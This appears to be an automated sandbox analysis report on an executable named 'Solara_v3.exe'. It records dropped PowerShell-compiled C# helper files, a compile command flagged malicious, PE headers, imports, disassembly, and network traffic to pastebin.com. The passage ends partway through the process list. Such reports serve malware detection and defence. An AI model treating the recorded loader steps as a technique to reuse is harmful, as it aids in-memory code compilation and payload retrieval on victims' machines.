                                                                                                                                                  Preview:.... ...........................L...<...............0...........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...q.e.2.p.u.g.v.o...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e...q.e.2.p.u.g.v.o...d.l.l.....4.....P.r.o.d.u.c.t.V.e.r.s.i.o.n...0...0...0...0...8.....A.s.s.e.m.b.l.y. .V.e.r.s.i.o.n...0...0...0...0...

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.0.cs

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):353
                                                                                                                                                  Entropy (8bit):4.82408068685792
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:6:gCsHS6yqVPuM/sq2SRaqK4LovyFwM/sezhkKwGButFi2SRkoSoOD9:gC4JTDfei7krW0FU9O9
                                                                                                                                                  MD5:379570600F5439DDA873EDA8F0CE4A79
                                                                                                                                                  SHA1:2023B772101AFF5B12AB53F24A69742A4B9C394F
                                                                                                                                                  SHA-256:2C058658252D0F5A4613DC846D56329797E86033E3C61B9B68537AE167000072
                                                                                                                                                  SHA-512:70AD464F11597E9677A757C59A79A27650487D0F59CBB35D88E9775236E2DBF3CB78413B10EAC3E9A33E2CBA7FB1FB85EF7755B1D25E1C7D9513615EA4DAF152
                                                                                                                                                  Malicious:false
                                                                                                                                                  Preview:. using System;.. using System.Runtime.InteropServices;.... public class Win32 {.. [DllImport("user32.dll")].. public static extern IntPtr GetForegroundWindow();.... [DllImport("user32.dll")].. [return: MarshalAs(UnmanagedType.Bool)].. public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);.. }

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.cmdline

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (368), with no line terminators
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):371
                                                                                                                                                  Entropy (8bit):5.246639072994692
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:6:pAu+H2LvkuqJDdqxLTKbDdqB/6K2923ftk5zxs7+AEszI923ftkLA:p37Lvkmb6Kzlk5WZE2lkLA
                                                                                                                                                  MD5:2B883D87BC802682A12C55687CF48C20
                                                                                                                                                  SHA1:8F9B4CC82195E251FDDC3379897A75DCA5043D86
                                                                                                                                                  SHA-256:49871D8F95E4095C476D86CB1FB0A39F73B3DB09C2BD947A15DB0D64A40E317F
                                                                                                                                                  SHA-512:E275C749487524FBE7D88EBAD9C41EBFE0E1096D17545847D394EAC4F4BE46CE2150FE176F27F122126D677B1A7B4AF7E960977CC0B8AAD07B6D6FD93F7CD3FA
                                                                                                                                                  Malicious:true
                                                                                                                                                  Preview:./t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.0.cs"

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.dll

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                  File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):3072
                                                                                                                                                  Entropy (8bit):2.9234724375144396
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:24:etGSUW5GIYq/dudQ8O9xkjvtkZfZd9lt8NoVWI+ycuZhNiqakS9bPNnq:6U9InudjwijOJr9ltYl1uliqa39Rq
                                                                                                                                                  MD5:CFC968A6B9FDA867E4A776C8DBC621DE
                                                                                                                                                  SHA1:7DCAEF6C1ECFAD8669D06944575F4D7DA4DF9225
                                                                                                                                                  SHA-256:5E23BED6E2660DDF0A50D91E4CD8B43700B4DD8D9057BCF61EDF428E1427DED6
                                                                                                                                                  SHA-512:34520F0F51F98600D77090195BF06E6D4F26DC0EEF5A0F4F92F302787D10B8F9370516C8934A69141AF1FF4F6ABBF3D151209BBFF3C3761A84B85B4FC9C39694
                                                                                                                                                  Malicious:false
                                                                                                                                                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f_}g...........!.................#... ...@....... ....................................@..................................#..S....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................#......H.......X ..@.............................................................(....*BSJB............v4.0.30319......l...<...#~......,...#Strings............#US.........#GUID.......T...#Blob...........G5........%3................................................................-.&...x.Y.....Y.................Y.................................... 4............ H.....P ......S...... ..................S...!.S. .).S...1.S.%...S.......*.....3.....!.....4.......H.........................

                                                                                                                                                  C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.out

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:Unicode text, UTF-8 (with BOM) text, with very long lines (451), with CRLF, CR line terminators
                                                                                                                                                  Category:modified
                                                                                                                                                  Size (bytes):872
                                                                                                                                                  Entropy (8bit):5.312741772367201
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:24:KMoId3ka6KzlBE2ly1Kax5DqBVKVrdFAMBJTH:dokka6anE2A1K2DcVKdBJj
                                                                                                                                                  MD5:38A7DFA8C022FEE37B0884F2E5E01018
                                                                                                                                                  SHA1:95CBAA2BB13C6BBC5D9A9DDF9E479E37993AC8F3
                                                                                                                                                  SHA-256:2A28C258A702CB50F689685E628A02ECBA5C2FE0CFD1BD6C6DFD42559386A8FC
                                                                                                                                                  SHA-512:684A4E2CBD2F4B46E5C643837508600F71EDD31A2DE7E65075D084552F3C0F5385473DC7CC54DACADB10CF984CB2093AC3AB3D13298B54BEB8A9000FCAFE251F
                                                                                                                                                  Malicious:false
                                                                                                                                                  Preview:.C:\Users\user\Desktop> "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /t:library /utf8output /R:"System.dll" /R:"C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" /R:"System.Core.dll" /out:"C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.dll" /debug- /optimize+ /warnaserror /optimize+ "C:\Users\user\AppData\Local\Temp\qe2pugvo\qe2pugvo.0.cs"......Microsoft (R) Visual C# Compiler version 4.8.4084.0...for C# 5..Copyright (C) Microsoft Corporation. All rights reserved.......This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240....

                                                                                                                                                  \Device\Null

                                                                                                                                                  Download File
                                                                                                                                                  Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                  File Type:ASCII text, with very long lines (951), with CRLF line terminators
                                                                                                                                                  Category:dropped
                                                                                                                                                  Size (bytes):962
                                                                                                                                                  Entropy (8bit):5.425404696609983
                                                                                                                                                  Encrypted:false
                                                                                                                                                  SSDEEP:24:0k4+tgsZS2kX+TxXGBCDwQ0qSS0i4nHadvoX1Oa2Eb:0Ct62M+4Bi0qz0iQHaVoFl2Eb
                                                                                                                                                  MD5:EFB1C46B1B6A31E778F16D10CD394451
                                                                                                                                                  SHA1:08B70EFD646F7AF8A3D4564B4D29CDB8ED1805A5
                                                                                                                                                  SHA-256:275C4DDA9B63257793262721F694A39D8B902C6EA1235004D52DC6F2E2B55438
                                                                                                                                                  SHA-512:1D7320A03F85B3223EBF9796E5E4C6E8528DBA59595F9B5616C3A529F9910D2E2FC653AE795238F11C1D5208820BE049B5819F65B9F8DD3CD6ADD4B32661C727
                                                                                                                                                  Malicious:false
                                                                                                                                                  Preview:#< CLIXML..<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>Preparing modules for first use.</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj><S S="Error">Method invocation failed because [Win32] does not contain a method named 'GetWindowText'._x000D__x000A_</S><S S="Error">At line:19 char:5_x000D__x000A_</S><S S="Error">+ [Win32]::GetWindowText($hWnd, $sb, $sb.Capacity) | Out-Null_x000D__x000A_</S><S S="Error">+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~_x000D__x000A_</S><S S="Error"> + CategoryInfo : InvalidOperation: (:) [], RuntimeException_x000D__x000A_</S><S S="Error"> + FullyQualifiedErrorId : MethodNotFound_x000D__x000A_</S><S S="Error"> _x000D__x000A_</S></Objs>

                                                                                                                                                  Static File Info

                                                                                                                                                  General

                                                                                                                                                  File type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                                                  Entropy (8bit):6.797140324313722
                                                                                                                                                  TrID:
                                                                                                                                                  • Win64 Executable Console (202006/5) 87.25%
                                                                                                                                                  • Visual Basic Script (13500/0) 5.83%
                                                                                                                                                  • Win64 Executable (generic) (12005/4) 5.19%
                                                                                                                                                  • Generic Win/DOS Executable (2004/3) 0.87%
                                                                                                                                                  • DOS Executable Generic (2002/1) 0.86%
                                                                                                                                                  File name:Solara_v3.exe
                                                                                                                                                  File size:33'921'780 bytes
                                                                                                                                                  MD5:404f9a9a90f2729d0acba7e76527fb88
                                                                                                                                                  SHA1:441a37963638e3f4635ef8c5fa35fd8fa566e325
                                                                                                                                                  SHA256:96559ba94a96b7a3ab66125a3556c6a8ec07fe561f8d60bd06f66520e3366c5e
                                                                                                                                                  SHA512:e226e8434b4252656f1eb4d3441e1f26b5f2de2532965816749d8cb24702dcf5eaef45c7bdccad7dadf8e6f1d4b7cf70168c399db13aed4f7e162f5b98a73ccc
                                                                                                                                                  SSDEEP:196608:dwbXq+vjOYt6zbQiA+XjQkDek5Ud5DDHINwd3cxGUe1CQOxg2FfNtmojn5M/qZVR:dwbXtp6zbbA+X8f8U4P22FXmDqZD
                                                                                                                                                  TLSH:8F777C03BA8718A9D09DC474834746A38A613CDB1B3AB9FF55C536252F7EAF05B3A314
                                                                                                                                                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Y5.h.T.;.T.;.T.;.?.:;T.;.?.:.T.;.?.:.T.;...;.T.;.%.:,T.;.%.:.T.;.%.:.T.;.?.:.T.;.T.;.T.;.&.:.T.;.T.;.V.;.&.:.T.;.&&;.T.;.&.:.T.

                                                                                                                                                  File Icon

                                                                                                                                                  Icon Hash:f0e1f4f0d0e972c7

                                                                                                                                                  Static PE Info

                                                                                                                                                  General

                                                                                                                                                  Entrypoint:0x141515470
                                                                                                                                                  Entrypoint Section:.text
                                                                                                                                                  Digitally signed:false
                                                                                                                                                  Imagebase:0x140000000
                                                                                                                                                  Subsystem:windows cui
                                                                                                                                                  Image File Characteristics:EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
                                                                                                                                                  DLL Characteristics:HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
                                                                                                                                                  Time Stamp:0x5FE21E27 [Tue Dec 22 16:26:15 2020 UTC]
                                                                                                                                                  TLS Callbacks:0x4084df90, 0x1
                                                                                                                                                  CLR (.Net) Version:
                                                                                                                                                  OS Version Major:6
                                                                                                                                                  OS Version Minor:0
                                                                                                                                                  File Version Major:6
                                                                                                                                                  File Version Minor:0
                                                                                                                                                  Subsystem Version Major:6
                                                                                                                                                  Subsystem Version Minor:0
                                                                                                                                                  Import Hash:c650cbf7c8459f7bd0ae3aba556dd87e

                                                                                                                                                  Entrypoint Preview

                                                                                                                                                  Instruction
                                                                                                                                                  dec eax
                                                                                                                                                  sub esp, 28h
                                                                                                                                                  call 00007F510CB87F08h
                                                                                                                                                  dec eax
                                                                                                                                                  add esp, 28h
                                                                                                                                                  jmp 00007F510CB87767h
                                                                                                                                                  int3
                                                                                                                                                  int3
                                                                                                                                                  dec eax
                                                                                                                                                  sub esp, 28h
                                                                                                                                                  dec ebp
                                                                                                                                                  mov eax, dword ptr [ecx+38h]
                                                                                                                                                  dec eax
                                                                                                                                                  mov ecx, edx
                                                                                                                                                  dec ecx
                                                                                                                                                  mov edx, ecx
                                                                                                                                                  call 00007F510CB87902h
                                                                                                                                                  mov eax, 00000001h
                                                                                                                                                  dec eax
                                                                                                                                                  add esp, 28h
                                                                                                                                                  ret
                                                                                                                                                  int3
                                                                                                                                                  int3
                                                                                                                                                  int3
                                                                                                                                                  inc eax
                                                                                                                                                  push ebx
                                                                                                                                                  inc ebp
                                                                                                                                                  mov ebx, dword ptr [eax]
                                                                                                                                                  dec eax
                                                                                                                                                  mov ebx, edx
                                                                                                                                                  inc ecx
                                                                                                                                                  and ebx, FFFFFFF8h
                                                                                                                                                  dec esp
                                                                                                                                                  mov ecx, ecx
                                                                                                                                                  inc ecx
                                                                                                                                                  test byte ptr [eax], 00000004h
                                                                                                                                                  dec esp
                                                                                                                                                  mov edx, ecx
                                                                                                                                                  je 00007F510CB87905h
                                                                                                                                                  inc ecx
                                                                                                                                                  mov eax, dword ptr [eax+08h]
                                                                                                                                                  dec ebp
                                                                                                                                                  arpl word ptr [eax+04h], dx
                                                                                                                                                  neg eax
                                                                                                                                                  dec esp
                                                                                                                                                  add edx, ecx
                                                                                                                                                  dec eax
                                                                                                                                                  arpl ax, cx
                                                                                                                                                  dec esp
                                                                                                                                                  and edx, ecx
                                                                                                                                                  dec ecx
                                                                                                                                                  arpl bx, ax
                                                                                                                                                  dec edx
                                                                                                                                                  mov edx, dword ptr [eax+edx]
                                                                                                                                                  dec eax
                                                                                                                                                  mov eax, dword ptr [ebx+10h]
                                                                                                                                                  mov ecx, dword ptr [eax+08h]
                                                                                                                                                  dec eax
                                                                                                                                                  mov eax, dword ptr [ebx+08h]
                                                                                                                                                  test byte ptr [ecx+eax+03h], 0000000Fh
                                                                                                                                                  je 00007F510CB878FDh
                                                                                                                                                  movzx eax, byte ptr [ecx+eax+03h]
                                                                                                                                                  and eax, FFFFFFF0h
                                                                                                                                                  dec esp
                                                                                                                                                  add ecx, eax
                                                                                                                                                  dec esp
                                                                                                                                                  xor ecx, edx
                                                                                                                                                  dec ecx
                                                                                                                                                  mov ecx, ecx
                                                                                                                                                  pop ebx
                                                                                                                                                  jmp 00007F510CB87906h
                                                                                                                                                  int3
                                                                                                                                                  int3
                                                                                                                                                  int3
                                                                                                                                                  int3
                                                                                                                                                  int3
                                                                                                                                                  int3
                                                                                                                                                  int3
                                                                                                                                                  nop word ptr [eax+eax+00000000h]
                                                                                                                                                  dec eax
                                                                                                                                                  cmp ecx, dword ptr [00A39C31h]
                                                                                                                                                  jne 00007F510CB87905h
                                                                                                                                                  dec eax
                                                                                                                                                  rol ecx, 10h
                                                                                                                                                  test cx, FFFFh
                                                                                                                                                  jne 00007F510CB878F5h
                                                                                                                                                  ret
                                                                                                                                                  dec eax
                                                                                                                                                  ror ecx, 10h
                                                                                                                                                  jmp 00007F510CB8821Ch
                                                                                                                                                  int3
                                                                                                                                                  int3
                                                                                                                                                  int3
                                                                                                                                                  inc eax
                                                                                                                                                  push ebx
                                                                                                                                                  dec eax

                                                                                                                                                  Data Directories

                                                                                                                                                  NameVirtual AddressVirtual Size Is in Section
                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x1f3c1500x68.rdata
                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_IMPORT0x1f3c1b80xa0.rdata
                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x20400000x1344.rsrc
                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x1f6e0000xd0ba8.pdata
                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x20420000x1d200.reloc
                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_DEBUG0x1d5dfc80x54.rdata
                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_TLS0x1d5e1800x28.rdata
                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x1d5e0200x138.rdata
                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_IAT0x15450000x758.rdata
                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                                                                                                                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                                                                                                                                  Sections

                                                                                                                                                  NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                                                                                                                                  .text0x10000x1543da00x1543e00561ec8cdb94bb288e7f0eedac0f2e72eunknownunknownunknownunknownIMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                                                                                                                                  .rdata0x15450000x9f8aa40x9f8c00ba7d6f1ae288dc90398ffb2b6b537debunknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                  .data0x1f3e0000x2fa500x11e00a8e709bffb0721c66ce8eb25a2bf4343False0.1423322770979021data2.7861489985627568IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                                                                                  .pdata0x1f6e0000xd0ba80xd0c005a8e05bb68b8e430fbc10cb058074aabFalse0.4521484375data6.886282734270313IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                  _RDATA0x203f0000x940x2006e8350ec68cdfae634cb4cde29b6c60bFalse0.212890625data1.7840059761324978IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                  .rsrc0x20400000x13440x1b400243cc2b926463e2fbec8a34fc7ea356aFalse0.03148294151376147data3.1282785025523854IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                                                                                                                                  .reloc0x20420000x1d2000x1d2004b12143aec5621b637328376ad463948False0.20516195010729613data5.478933361641409IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

                                                                                                                                                  Resources

                                                                                                                                                  NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                                                                                  RT_ICON0x20401000x10a8Device independent bitmap graphic, 32 x 64 x 32, image size 4096EnglishUnited States0.6564258911819888
                                                                                                                                                  RT_GROUP_ICON0x20400e80x14dataEnglishUnited States1.1
                                                                                                                                                  RT_VERSION0x20411a80x19cdataEnglishUnited States0.5995145631067961

                                                                                                                                                  Imports

                                                                                                                                                  DLLImport
                                                                                                                                                  WS2_32.dlllisten, WSAGetLastError, closesocket, WSASendTo, WSARecvFrom, WSAGetOverlappedResult, setsockopt, WSASend, getsockopt, WSAIoctl, WSASocketW, WSARecv, getaddrinfo, getpeername, shutdown, recv, ioctlsocket, getsockname, WSACleanup, WSAStartup, freeaddrinfo, bind
                                                                                                                                                  KERNEL32.dllGetOEMCP, GetACP, IsValidCodePage, MultiByteToWideChar, GetStringTypeW, HeapSize, GetFileSizeEx, GetConsoleOutputCP, EnumSystemLocalesW, GetUserDefaultLCID, IsValidLocale, GetLocaleInfoW, LCMapStringW, CompareStringW, GetTimeFormatW, GetDateFormatW, GetCommandLineA, SwitchToThread, SetConsoleMode, LeaveCriticalSection, CloseHandle, SetConsoleCursorPosition, lstrlenW, WaitForSingleObject, GetLastError, GetExitCodeProcess, GetCurrentProcessId, GetCommandLineW, GetProcessHeap, HeapFree, AddVectoredExceptionHandler, HeapAlloc, HeapReAlloc, GetStdHandle, GetFileInformationByHandleEx, GetConsoleMode, EnterCriticalSection, Sleep, CreateHardLinkW, DeviceIoControl, ReadFile, TerminateProcess, FreeLibrary, RegisterWaitForSingleObject, SetErrorMode, SetThreadErrorMode, LoadLibraryW, GetProcAddress, SetEnvironmentVariableW, GetConsoleScreenBufferInfo, GetProcessId, GetEnvironmentStringsW, FreeEnvironmentStringsW, OpenProcess, SetCurrentDirectoryW, CreateToolhelp32Snapshot, Process32First, Process32Next, SetFileTime, PostQueuedCompletionStatus, GetQueuedCompletionStatusEx, SetFileCompletionNotificationModes, CancelIoEx, WriteFile, GetOverlappedResult, CreateIoCompletionPort, SetHandleInformation, WaitForSingleObjectEx, CreateFileW, CreateSemaphoreW, ReadDirectoryChangesW, ReleaseSemaphore, CancelIo, GetSystemInfo, SetFileInformationByHandle, GetConsoleCursorInfo, SetConsoleCursorInfo, ReadConsoleInputW, FillConsoleOutputCharacterA, FillConsoleOutputAttribute, GetFileInformationByHandle, TlsGetValue, TlsSetValue, DeleteCriticalSection, GetModuleHandleW, SetLastError, GetEnvironmentVariableW, WriteConsoleW, InitializeCriticalSection, GetCurrentProcess, GetCurrentThread, RtlCaptureContext, GetCurrentDirectoryW, LoadLibraryA, CreateMutexA, RtlLookupFunctionEntry, TlsAlloc, FormatMessageW, GetTempPathW, GetModuleFileNameW, FlushFileBuffers, DuplicateHandle, SetFilePointerEx, FindNextFileW, CreateDirectoryW, ReadConsoleW, TryEnterCriticalSection, FindFirstFileW, CreateProcessW, CreateNamedPipeW, CreateEventW, WaitForMultipleObjects, ExitProcess, QueryPerformanceCounter, QueryPerformanceFrequency, GetSystemTimeAsFileTime, FindClose, DeleteFileW, MoveFileExW, RemoveDirectoryW, RtlUnwind, CopyFileExW, CreateThread, GetFinalPathNameByHandleW, UnregisterWaitEx, SetConsoleTextAttribute, GetSystemTimes, GlobalMemoryStatusEx, GetVersionExA, RtlVirtualUnwind, GetTimeZoneInformation, WideCharToMultiByte, GetThreadTimes, GetCurrentThreadId, DeleteFileA, GetTempPathA, GetTempFileNameA, GetFileType, OutputDebugStringA, VerSetConditionMask, VerifyVersionInfoW, VirtualAlloc, VirtualFree, IsDebuggerPresent, TlsFree, QueryThreadCycleTime, GetThreadPriority, SetThreadPriority, AcquireSRWLockExclusive, ReleaseSRWLockExclusive, TryAcquireSRWLockExclusive, AcquireSRWLockShared, ReleaseSRWLockShared, VirtualProtect, RtlAddFunctionTable, RtlDeleteFunctionTable, LoadLibraryExW, WakeConditionVariable, WakeAllConditionVariable, SleepConditionVariableSRW, InitOnceExecuteOnce, SetUnhandledExceptionFilter, RtlCaptureStackBackTrace, GetNativeSystemInfo, InitializeConditionVariable, OpenThread, SuspendThread, GetThreadContext, ResumeThread, CreateSemaphoreA, GetCPInfo, FindFirstFileExW, SetStdHandle, SetEndOfFile, ReleaseMutex, SetFileAttributesW, FreeLibraryAndExitThread, ExitThread, GetModuleHandleExW, EncodePointer, RtlUnwindEx, RaiseException, RtlPcToFileHeader, IsProcessorFeaturePresent, GetStartupInfoW, UnhandledExceptionFilter, InitializeSListHead, ResetEvent, SetEvent, InitializeCriticalSectionAndSpinCount
                                                                                                                                                  ADVAPI32.dllRegQueryValueExW, RegOpenKeyExW, SystemFunction036, RegCloseKey
                                                                                                                                                  dbghelp.dllSymInitialize, SymGetSearchPathW, SymSetSearchPathW, SymGetModuleBase64, SymFunctionTableAccess64, SymSetOptions, SymFromAddr, SymGetLineFromAddr64, StackWalk64
                                                                                                                                                  ole32.dllCoTaskMemFree
                                                                                                                                                  SHELL32.dllSHGetKnownFolderPath
                                                                                                                                                  WINMM.dlltimeGetTime

                                                                                                                                                  Exports

                                                                                                                                                  NameOrdinalAddress
                                                                                                                                                  CrashForExceptionInNonABICompliantCodeRange10x140bba0c0

                                                                                                                                                  Possible Origin

                                                                                                                                                  Language of compilation systemCountry where language is spokenMap
                                                                                                                                                  EnglishUnited States

                                                                                                                                                  Network Behavior

                                                                                                                                                  Network Port Distribution

                                                                                                                                                  TCP Packets

                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                  Jan 7, 2025 16:27:29.144927025 CET49705443192.168.2.5104.20.4.235
                                                                                                                                                  Jan 7, 2025 16:27:29.144990921 CET44349705104.20.4.235192.168.2.5
                                                                                                                                                  Jan 7, 2025 16:27:29.145077944 CET49705443192.168.2.5104.20.4.235
                                                                                                                                                  Jan 7, 2025 16:27:29.145343065 CET49705443192.168.2.5104.20.4.235
                                                                                                                                                  Jan 7, 2025 16:27:29.145358086 CET44349705104.20.4.235192.168.2.5
                                                                                                                                                  Jan 7, 2025 16:27:29.604684114 CET44349705104.20.4.235192.168.2.5
                                                                                                                                                  Jan 7, 2025 16:27:29.605035067 CET49705443192.168.2.5104.20.4.235
                                                                                                                                                  Jan 7, 2025 16:27:29.605060101 CET44349705104.20.4.235192.168.2.5
                                                                                                                                                  Jan 7, 2025 16:27:29.605107069 CET49705443192.168.2.5104.20.4.235
                                                                                                                                                  Jan 7, 2025 16:27:29.605110884 CET44349705104.20.4.235192.168.2.5
                                                                                                                                                  Jan 7, 2025 16:27:29.606264114 CET44349705104.20.4.235192.168.2.5
                                                                                                                                                  Jan 7, 2025 16:27:29.606321096 CET49705443192.168.2.5104.20.4.235
                                                                                                                                                  Jan 7, 2025 16:27:29.606724977 CET49705443192.168.2.5104.20.4.235
                                                                                                                                                  Jan 7, 2025 16:27:29.606724977 CET49705443192.168.2.5104.20.4.235
                                                                                                                                                  Jan 7, 2025 16:27:29.606864929 CET44349705104.20.4.235192.168.2.5
                                                                                                                                                  Jan 7, 2025 16:27:29.606908083 CET49705443192.168.2.5104.20.4.235

                                                                                                                                                  UDP Packets

                                                                                                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                  Jan 7, 2025 16:27:29.134129047 CET6201953192.168.2.51.1.1.1
                                                                                                                                                  Jan 7, 2025 16:27:29.142214060 CET53620191.1.1.1192.168.2.5

                                                                                                                                                  DNS Queries

                                                                                                                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                                                                  Jan 7, 2025 16:27:29.134129047 CET192.168.2.51.1.1.10x4141Standard query (0)pastebin.comA (IP address)IN (0x0001)false

                                                                                                                                                  DNS Answers

                                                                                                                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                                                                  Jan 7, 2025 16:27:29.142214060 CET1.1.1.1192.168.2.50x4141No error (0)pastebin.com104.20.4.235A (IP address)IN (0x0001)false
                                                                                                                                                  Jan 7, 2025 16:27:29.142214060 CET1.1.1.1192.168.2.50x4141No error (0)pastebin.com104.20.3.235A (IP address)IN (0x0001)false
                                                                                                                                                  Jan 7, 2025 16:27:29.142214060 CET1.1.1.1192.168.2.50x4141No error (0)pastebin.com172.67.19.24A (IP address)IN (0x0001)false

                                                                                                                                                  Statistics

                                                                                                                                                  CPU Usage

                                                                                                                                                  Click to jump to process

                                                                                                                                                  Memory Usage

                                                                                                                                                  Click to jump to process

                                                                                                                                                  High Level Behavior Distribution

                                                                                                                                                  Click to dive into process behavior distribution

                                                                                                                                                  Behavior

                                                                                                                                                  Click to jump to process

                                                                                                                                                  System Behavior

                                                                                                                                                  General

                                                                                                                                                  Target ID:0
                                                                                                                                                  Start time:10:27:13
                                                                                                                                                  Start date:07/01/2025
                                                                                                                                                  Path:C:\Users\user\Desktop\Solara_v3.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:"C:\Users\user\Desktop\Solara_v3.exe"
                                                                                                                                                  Imagebase:0x7ff69fcf0000
                                                                                                                                                  File size:33'921'780 bytes
                                                                                                                                                  MD5 hash:404F9A9A90F2729D0ACBA7E76527FB88
                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                  Programmed in:Rust
                                                                                                                                                  Reputation:low
                                                                                                                                                  Has exited:true

                                                                                                                                                  General

                                                                                                                                                  Target ID:1
                                                                                                                                                  Start time:10:27:13
                                                                                                                                                  Start date:07/01/2025
                                                                                                                                                  Path:C:\Windows\System32\conhost.exe
                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                  Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                  Imagebase:0x7ff6d64d0000
                                                                                                                                                  File size:862'208 bytes
